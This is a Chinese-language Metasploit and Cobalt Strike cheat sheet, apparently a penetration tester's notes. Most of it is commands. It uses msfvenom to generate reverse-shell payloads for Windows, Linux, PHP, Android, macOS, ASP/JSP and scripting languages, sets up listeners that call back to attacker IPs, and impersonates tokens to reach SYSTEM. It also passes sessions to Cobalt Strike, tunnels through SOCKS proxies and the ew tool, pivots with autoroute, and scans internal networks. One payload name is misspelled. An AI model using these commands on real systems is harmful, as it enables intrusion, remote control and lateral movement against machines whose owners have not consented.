msfconsole命令集
0x01 参数
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
searchsploit找脚本的好方法:
searchsploit -m [路径]
# searchsploit -m linux/remote/36742.txt
msf自带提权建议模块:
# 获得session后msf自带的提权建议模块
use post/multi/recon/local_exploit_suggester
set session ……
0x02 生成木马文件
# window exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.201.149 LPORT=4445 -f exe -o mshell.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4445
exploit
# linux 64位elf文件
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.47.128 LPORT=4445 -f elf > mshell.elf
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost tun0
set lport 4445
run
# PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4445 -f raw -o mshell.php
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost tun0
set lport 4445
run
# linux 32位elf文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=VPS的地址 LPORT=4445 -f elf > test.elf、
# 安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=4445 -o ~/Desktop/test.apk
# Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=4445 -f macho > mshell.macho
# ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=4445 -f asp > shell.asp
# ASPX:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=4445 -f aspx > shell.aspx
#JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=4445 -f raw > shell.jsp
#Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=4445 -f raw > shell.sh
#Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=4445 -f raw > shell.pl
#Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=4445 -f raw > shell.py
msf快速监听命令
# window版
msfconsole -qx 'use exploit/multi/handler;set lhost tun0;set lport 4445;set payload windows/meterpreter/reverse_tcp;run'
# linux版
msfconsole -qx 'use exploit/multi/handler;set lhost tun0;set lport 4445;set payload linux/x64/meterpreter/reverse_tcp;run'
0x03 msf内网提权
管理员权限提权system
# 窃取window system令牌,前提该账户在管理员
load incogito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
0x04 msf联动Cobalt Strike
在msf已经获得会话的前提下输入以下命令:
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true # payload_inject执行之后会在本地产生一个新的 handler,设置为true表示不重复生成
set lhost 192.168.201.149 # 公网vps ip
set lport 888 # 监听端口
set session 1 # 派发session id
run
当然你得在cs中先设置一个新的监听器
要设置session id时先看看已经存在的id哪些是有效的,我本来设置session 2没有成功
这里看session2 好像是没有信息的,应该是不行的,所以改成session 1即可成功弹到cs中。
0x05 Cobalt Strike设置socket代理传递msf
对system权限的靶机右击设置socket代理:
视图查看代理转发,并点击隧道:
在msf中输入指令:
setg Proxies socks4:192.168.111.128:9050
# MSF所有流量将走此代理
setg ReverseAllowProxy true
# 设置允许反向代理,即建立双向通道
# 如果通过此socks反弹shell,则需要开启,否则不推荐开启
unsetg Proxies
# 可以使用该命令停止
打开/etc/proxychain4.conf文件进行配置socks4代理
proxychains4 nmap -F -sT -Pn 10.10.10.1/24
但是用这种扫描实在太慢,还不如用cs的arp扫描来的快,仅仅记录一下。
0x05 ew上传内网隧道搭建,msf内网扫描
ew下载链接:GitHub - idlefire/ew: 内网穿透(跨平台)
使用命令
upload /root/tools/ew-master/ew_for_linux64 /home/ubuntu
并且设置socker5代理端口1080
ssh连接靶机,赋予权限以及命令;
cd /home/tmp
chmod 777 ew_for_linux64
nohup ./ew_for_linux64 -s ssocksd -l 1080 &
# 在后台启动 ew_for_linux64 程序,以服务器模式运行,并监听 1080 端口。即使关闭了终端,该程序也会继续运行
msf执行命令:
run autoroute -s 192.168.183.0/24
run autoroute -p
# 路由转发
MSF框架为渗透测试者提供了一个很好的跳板功能模块,这个模块可以添加一条转发路由,使攻击者能够到达内网中的其他机器。在配置路由转发时,需要确定目标主机所在的网段,然后在MSF框架中设置相应的路由规则。这些规则可以确保攻击者的流量能够正确地通过跳板机器,到达目标内网的其他部分。
开始扫描:
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run
分别是192.168.183.130和192.168.183.140存活